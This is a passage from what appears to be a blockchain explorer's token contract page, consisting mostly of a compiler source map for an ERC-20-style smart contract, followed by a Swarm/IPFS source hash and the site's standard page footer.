:62;4981:18;;2603:67:0;4649:356:1;2603:67:0;7897:1:::1;7889:5;:9;;;7886:160;;;7930:1;7922:5;:9;;;7914:46;;;::::0;-1:-1:-1;;;7914:46:0;;5212:2:1;7914:46:0::1;::::0;::::1;5194:21:1::0;5251:2;5231:18;;;5224:30;5290:26;5270:18;;;5263:54;5334:18;;7914:46:0::1;5010:348:1::0;7914:46:0::1;7797:256:::0;;:::o;7886:160::-:1;-1:-1:-1::0;;;;;8001:25:0;::::1;;::::0;;;:12:::1;:25;::::0;;;;:33;;::::1;::::0;::::1;-1:-1:-1::0;;8001:33:0;;::::1;;::::0;;7797:256;;:::o;5265:335::-;-1:-1:-1;;;;;5358:19:0;;5350:68;;;;-1:-1:-1;;;5350:68:0;;5565:2:1;5350:68:0;;;5547:21:1;5604:2;5584:18;;;5577:30;5643:34;5623:18;;;5616:62;-1:-1:-1;;;5694:18:1;;;5687:34;5738:19;;5350:68:0;5363:400:1;5350:68:0;-1:-1:-1;;;;;5437:21:0;;5429:68;;;;-1:-1:-1;;;5429:68:0;;5970:2:1;5429:68:0;;;5952:21:1;6009:2;5989:18;;;5982:30;6048:34;6028:18;;;6021:62;-1:-1:-1;;;6099:18:1;;;6092:32;6141:19;;5429:68:0;5768:398:1;5429:68:0;-1:-1:-1;;;;;5508:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5560:32;;1391:25:1;;;5560:32:0;;1364:18:1;5560:32:0;;;;;;;5265:335;;;:::o;5608:2181::-;5688:18;5708:22;5732:23;5758:14;5773:1;5758:17;;;;;;;;:::i;:::-;;;;;;;;;5732:43;;5797:7;2522;2549:6;-1:-1:-1;;;;;2549:6:0;;2484:79;5797:7;-1:-1:-1;;;;;5789:15:0;:4;-1:-1:-1;;;;;5789:15:0;;:41;;;-1:-1:-1;2522:7:0;2549:6;-1:-1:-1;;;;;5817:13:0;;;2549:6;;5817:13;5789:41;:78;;;-1:-1:-1;;;;;;5843:24:0;;;;;;:18;:24;;;;;;;;5789:78;:135;;;-1:-1:-1;;;;;;5902:22:0;;;;;;:18;:22;;;;;;;;5789:135;:210;;;-1:-1:-1;5960:8:0;;5971:1;-1:-1:-1;;;5960:8:0;;;;;:12;:38;;;;-1:-1:-1;5982:16:0;;-1:-1:-1;;;;;5976:22:0;;;5982:16;;5976:22;5960:38;5786:1952;;;6028:8;;-1:-1:-1;;;6028:8:0;;;;:12;;;;:29;;-1:-1:-1;2522:7:0;2549:6;-1:-1:-1;;;;;6044:13:0;;;2549:6;;6044:13;;6028:29;:75;;;;-1:-1:-1;6082:21:0;;-1:-1:-1;;;;;6074:29:0;;;6082:21;;6074:29;6028:75;:114;;;;-1:-1:-1;;;;;;6120:22:0;;;;;;:18;:22;;;;;;;;6028:114;6025:172;;;6162:8;:19;;-1:-1:-1;;;;6162:19:0;-1:-1:-1;;;6162:19:0;;;6025:172;-1:-1:-1;;;;;6232:18:0;;;;;;:12;:18;;;;;;:30;;6255:6;6232:22;:30::i;:::-;-1:-1:-1;;;;;6211:18:0;;;;;;:12;:18;;;;;:51;6387:8;;6296:262;;6317:240;;-1:-1:-1;;;6387:8:0;;;;:12;;;;6386:46;;-1:-1:-1;2522:7:0;2549:6;-1:-1:-1;;;;;6418:13:0;;;2549:6;;6418:13;;6386:46;:94;;;;-1:-1:-1;6458:21:0;;-1:-1:-1;;;;;6450:29:0;;;6458:21;;6450:29;6386:94;:133;;;;-1:-1:-1;;;;;;6497:22:0;;;;;;:18;:22;;;;;;;;6386:133;:156;;6536:6;;;;;;;;;-1:-1:-1;6536:6:0;;;;6386:156;;;6520:15;6386:156;6318:6;;6317:54;:240::i;:::-;-1:-1:-1;;;;;6296:16:0;;;;;;:12;:16;;;;;;;:20;:262::i;:::-;-1:-1:-1;;;;;6277:16:0;;;;;;:12;:16;;;;;:281;6576:8;;6587:1;-1:-1:-1;;;6576:8:0;;;;;:12;:38;;;;-1:-1:-1;6598:16:0;;-1:-1:-1;;;;;6592:22:0;;;6598:16;;6592:22;6576:38;6573:138;;;6650:4;6634:20;;6691:4;6674:21;;6573:138;6728:13;6725:137;;;6761:21;:38;;-1:-1:-1;;;;;;6761:38:0;-1:-1:-1;;;;;6761:38:0;;;;;;;6829:17;;-1:-1:-1;;;;;6829:8:0;;;;:17;:::i;:::-;6818:8;;:28;;;;;;;;;;;;;;;;;;6725:137;5786:1952;;;6937:1;6928:6;:10;:43;;;;-1:-1:-1;6959:8:0;;-1:-1:-1;;;6959:8:0;;;;:12;;6928:43;:102;;;;-1:-1:-1;;;;;;7012:18:0;;;;6928:102;:139;;;;-1:-1:-1;;;;;;7051:16:0;;;;6928:139;:183;;;;-1:-1:-1;;;;;;7089:18:0;;;;;;:12;:18;;;;;;7110:1;7089:18;;;;:22;6928:183;:240;;;;-1:-1:-1;;;;;;7148:16:0;;;;;;:12;:16;;;;;;7167:1;7148:16;;;;:20;6928:240;6902:336;;;;-1:-1:-1;;;6902:336:0;;6714:2:1;6902:336:0;;;6696:21:1;6753:2;6733:18;;;6726:30;6792:34;6772:18;;;6765:62;-1:-1:-1;;;6843:18:1;;;6836:32;6885:19;;6902:336:0;6512:398:1;6902:336:0;7253:26;7282:38;7316:3;7282:29;7293:14;7308:1;7293:17;;;;;;;;:::i;:::-;;;;;;;;;7282:6;:10;;:29;;;;:::i;:::-;:33;;:38::i;:::-;7346:21;;7253:67;;-1:-1:-1;;;;;;7338:29:0;;;7346:21;;7338:29;7335:240;;7513:6;;;;;;;;;7441:14;7513:6;;;;7504:8;;7408:151;;7555:3;;7408:142;;7441:14;7504:15;;7441:14;;-1:-1:-1;;;7504:8:0;;;;:15;:::i;:::-;7441:79;;;;;;;;;;:::i;7408:151::-;7387:172;;7335:240;-1:-1:-1;;;;;7610:18:0;;;;;;:12;:18;;;;;;:30;;7633:6;7610:22;:30::i;:::-;-1:-1:-1;;;;;7589:18:0;;;;;;:12;:18;;;;;:51;7674:52;7695:30;:6;7706:18;7695:10;:30::i;:::-;-1:-1:-1;;;;;7674:16:0;;;;;;:12;:16;;;;;;;:20;:52::i;:::-;-1:-1:-1;;;;;7655:16:0;;;;;;:12;:16;;;;;:71;-1:-1:-1;5786:1952:0;7770:2;-1:-1:-1;;;;;7755:26:0;7764:4;-1:-1:-1;;;;;7755:26:0;;7774:6;7755:26;;;;1391:25:1;;1379:2;1364:18;;1245:177;7755:26:0;;;;;;;;5677:2112;;;5608:2181;;;:::o;1376:190::-;1462:7;1498:12;1490:6;;;;1482:29;;;;-1:-1:-1;;;1482:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1522:9:0;1534:5;1538:1;1534;:5;:::i;:::-;1522:17;1376:190;-1:-1:-1;;;;;1376:190:0:o;1232:136::-;1290:7;1317:43;1321:1;1324;1317:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1310:50;1232:136;-1:-1:-1;;;1232:136:0:o;1045:179::-;1103:7;;1135:5;1139:1;1135;:5;:::i;:::-;1123:17;;1164:1;1159;:6;;1151:46;;;;-1:-1:-1;;;1151:46:0;;7380:2:1;1151:46:0;;;7362:21:1;7419:2;7399:18;;;7392:30;7458:29;7438:18;;;7431:57;7505:18;;1151:46:0;7178:351:1;1574:246:0;1632:7;1656:1;1661;1656:6;1652:47;;-1:-1:-1;1686:1:0;1679:8;;1652:47;1709:9;1721:5;1725:1;1721;:5;:::i;:::-;1709:17;-1:-1:-1;1754:1:0;1745:5;1749:1;1709:17;1745:5;:::i;:::-;:10;1737:56;;;;-1:-1:-1;;;1737:56:0;;7958:2:1;1737:56:0;;;7940:21:1;7997:2;7977:18;;;7970:30;8036:34;8016:18;;;8009:62;-1:-1:-1;;;8087:18:1;;;8080:31;8128:19;;1737:56:0;7756:397:1;1828:132:0;1886:7;1913:39;1917:1;1920;1913:39;;;;;;;;;;;;;;;;;2054:7;2089:12;2082:5;2074:28;;;;-1:-1:-1;;;2074:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2113:9:0;2125:5;2129:1;2125;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:173::-;684:20;;-1:-1:-1;;;;;733:31:1;;723:42;;713:70;;779:1;776;769:12;713:70;616:173;;;:::o;794:254::-;862:6;870;923:2;911:9;902:7;898:23;894:32;891:52;;;939:1;936;929:12;891:52;962:29;981:9;962:29;:::i;:::-;952:39;1038:2;1023:18;;;;1010:32;;-1:-1:-1;;;794:254:1:o;1427:328::-;1504:6;1512;1520;1573:2;1561:9;1552:7;1548:23;1544:32;1541:52;;;1589:1;1586;1579:12;1541:52;1612:29;1631:9;1612:29;:::i;:::-;1602:39;;1660:38;1694:2;1683:9;1679:18;1660:38;:::i;:::-;1650:48;;1745:2;1734:9;1730:18;1717:32;1707:42;;1427:328;;;;;:::o;1949:186::-;2008:6;2061:2;2049:9;2040:7;2036:23;2032:32;2029:52;;;2077:1;2074;2067:12;2029:52;2100:29;2119:9;2100:29;:::i;2348:343::-;2414:6;2422;2475:2;2463:9;2454:7;2450:23;2446:32;2443:52;;;2491:1;2488;2481:12;2443:52;2514:29;2533:9;2514:29;:::i;:::-;2504:39;;2593:2;2582:9;2578:18;2565:32;2637:4;2630:5;2626:16;2619:5;2616:27;2606:55;;2657:1;2654;2647:12;2606:55;2680:5;2670:15;;;2348:343;;;;;:::o;2696:260::-;2764:6;2772;2825:2;2813:9;2804:7;2800:23;2796:32;2793:52;;;2841:1;2838;2831:12;2793:52;2864:29;2883:9;2864:29;:::i;:::-;2854:39;;2912:38;2946:2;2935:9;2931:18;2912:38;:::i;:::-;2902:48;;2696:260;;;;;:::o;2961:127::-;3022:10;3017:3;3013:20;3010:1;3003:31;3053:4;3050:1;3043:15;3077:4;3074:1;3067:15;3093:422;3182:1;3225:5;3182:1;3239:270;3260:7;3250:8;3247:21;3239:270;;;3319:4;3315:1;3311:6;3307:17;3301:4;3298:27;3295:53;;;3328:18;;:::i;:::-;3378:7;3368:8;3364:22;3361:55;;;3398:16;;;;3361:55;3477:22;;;;3437:15;;;;3239:270;;;3243:3;3093:422;;;;;:::o;3520:806::-;3569:5;3599:8;3589:80;;-1:-1:-1;3640:1:1;3654:5;;3589:80;3688:4;3678:76;;-1:-1:-1;3725:1:1;3739:5;;3678:76;3770:4;3788:1;3783:59;;;;3856:1;3851:130;;;;3763:218;;3783:59;3813:1;3804:10;;3827:5;;;3851:130;3888:3;3878:8;3875:17;3872:43;;;3895:18;;:::i;:::-;-1:-1:-1;;3951:1:1;3937:16;;3966:5;;3763:218;;4065:2;4055:8;4052:16;4046:3;4040:4;4037:13;4033:36;4027:2;4017:8;4014:16;4009:2;4003:4;4000:12;3996:35;3993:77;3990:159;;;-1:-1:-1;4102:19:1;;;4134:5;;3990:159;4181:34;4206:8;4200:4;4181:34;:::i;:::-;4251:6;4247:1;4243:6;4239:19;4230:7;4227:32;4224:58;;;4262:18;;:::i;:::-;4300:20;;3520:806;-1:-1:-1;;;3520:806:1:o;4331:140::-;4389:5;4418:47;4459:4;4449:8;4445:19;4439:4;4418:47;:::i;4476:168::-;4516:7;4582:1;4578;4574:6;4570:14;4567:1;4564:21;4559:1;4552:9;4545:17;4541:45;4538:71;;;4589:18;;:::i;:::-;-1:-1:-1;4629:9:1;;4476:168::o;6171:127::-;6232:10;6227:3;6223:20;6220:1;6213:31;6263:4;6260:1;6253:15;6287:4;6284:1;6277:15;6303:204;6341:3;6377:4;6374:1;6370:12;6409:4;6406:1;6402:12;6444:3;6438:4;6434:14;6429:3;6426:23;6423:49;;;6452:18;;:::i;:::-;6488:13;;6303:204;-1:-1:-1;;;6303:204:1:o;6915:125::-;6955:4;6983:1;6980;6977:8;6974:34;;;6988:18;;:::i;:::-;-1:-1:-1;7025:9:1;;6915:125::o;7045:128::-;7085:3;7116:1;7112:6;7109:1;7106:13;7103:39;;;7122:18;;:::i;:::-;-1:-1:-1;7158:9:1;;7045:128::o;7534:217::-;7574:1;7600;7590:132;;7644:10;7639:3;7635:20;7632:1;7625:31;7679:4;7676:1;7669:15;7707:4;7704:1;7697:15;7590:132;-1:-1:-1;7736:9:1;;7534:217::o

Swarm Source

ipfs://044be33984d92468c853f6eb59b1a881ffffaad8ec3dd05a46d707b9bb697baa
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.